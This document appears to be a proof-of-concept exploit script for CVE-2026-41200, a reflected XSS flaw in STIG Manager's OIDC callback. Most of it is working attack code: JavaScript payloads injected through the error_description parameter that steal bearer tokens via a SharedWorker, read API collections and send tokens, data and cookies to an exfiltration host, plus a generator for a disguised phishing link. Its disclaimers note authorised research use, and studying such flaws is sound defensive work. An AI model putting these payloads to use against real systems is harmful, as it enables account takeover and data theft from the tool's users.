5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2026-41200-poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-41200 — STIG Manager OIDC Reflected XSS PoC
=====================================================

Conceptual Proof of Concept for the reflected XSS vulnerability in
STIG Manager versions 1.5.10 through 1.6.7.

This script constructs a malicious OIDC callback URL containing a
crafted error_description parameter that exploits the vulnerable
innerHTML assignment in client/src/js/init.js and client/src/reauth.html.

For educational and authorised security research only.

Advisory: https://github.com/NUWCDIVNPT/stig-manager/security/advisories/GHSA-wg33-j3rv-jq72
Article:  https://www.hunt-benito.com/cve-2026-41200-stig-manager-oidc-reflected-xss/
"""

import urllib.parse
import argparse
import sys


DEFAULT_CALLBACK = "http://localhost:54000/auth/callback"
DEFAULT_EXFIL_HOST = "attacker.example.com"
DEFAULT_API_HOST = "stig-manager.example.com"


XSS_PAYLOAD_TEMPLATE = """<img src=x onerror="(async function(){{
try{{
var w=new SharedWorker('/worker.js');
var p=w.port;
p.onmessage=async function(e){{
if(e.data&&e.data.token){{
var t=e.data.token;
var r=await fetch('{api_host}/api/v1/collections',{{headers:{{'Authorization':'Bearer '+t}}}});
var d=await r.json();
await fetch('{exfil_host}/collect',{{
method:'POST',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{collections:d,token:t}})
}});
}}}};
p.start();
await new Promise(function(r){{setTimeout(r,2000)}});
p.close();
}}catch(err){{
fetch('{exfil_host}/fallback?c='+encodeURIComponent(document.cookie));
}}
}})()">"""


SIMPLE_XSS_PAYLOAD = """<script>
fetch('{exfil_host}/steal?cookie='+encodeURIComponent(document.cookie));
</script>"""


def build_callback_url(callback_url, payload):
    error_desc = urllib.parse.quote(payload)
    params = urllib.parse.urlencode({
        "error": "invalid_request",
        "error_description": payload,
    })
    return f"{callback_url}?{params}"


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-41200 — STIG Manager OIDC Reflected XSS PoC (Conceptual)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        "-c", "--callback",
        default=DEFAULT_CALLBACK,
        help=f"STIG Manager auth callback URL (default: {DEFAULT_CALLBACK})",
    )
    parser.add_argument(
        "-a", "--api-host",
        default=DEFAULT_API_HOST,
        help=f"STIG Manager API host (default: {DEFAULT_API_HOST})",
    )
    parser.add_argument(
        "-e", "--exfil-host",
        default=DEFAULT_EXFIL_HOST,
        help=f"Exfiltration host (default: {DEFAULT_EXFIL_HOST})",
    )
    parser.add_argument(
        "-m", "--mode",
        choices=["sharedworker", "simple"],
        default="sharedworker",
        help="Payload mode: sharedworker (token theft) or simple (cookie theft)",
    )
    parser.add_argument(
        "--format",
        choices=["url", "curl", "html"],
        default="url",
        help="Output format",
    )

    args = parser.parse_args()

    if args.mode == "sharedworker":
        payload = XSS_PAYLOAD_TEMPLATE.format(
            api_host=args.api_host,
            exfil_host=args.exfil_host,
        )
        print("[*] Mode: SharedWorker token exfiltration")
    else:
        payload = SIMPLE_XSS_PAYLOAD.format(
            exfil_host=args.exfil_host,
        )
        print("[*] Mode: Simple cookie exfiltration")

    malicious_url = build_callback_url(args.callback, payload)

    print(f"[*] Callback URL: {args.callback}")
    print(f"[*] Payload length: {len(payload)} bytes")
    print()

    if args.format == "url":
        print("[Malicious URL]")
        print(malicious_url)
    elif args.format == "curl":
        encoded = urllib.parse.quote(malicious_url, safe=":/?&=")
        print("[Test with curl (needs browser to render)]")
        print(f"curl -v '{malicious_url}'")
    elif args.format == "html":
        print("[Phishing HTML]")
        print(f'<a href="{malicious_url}">View STIG Assessment Results</a>')

    print()
    print("[!] This is a conceptual PoC for educational purposes only.")
    print("[!] Only use against installations you own or have authorisation to test.")


if __name__ == "__main__":
    main()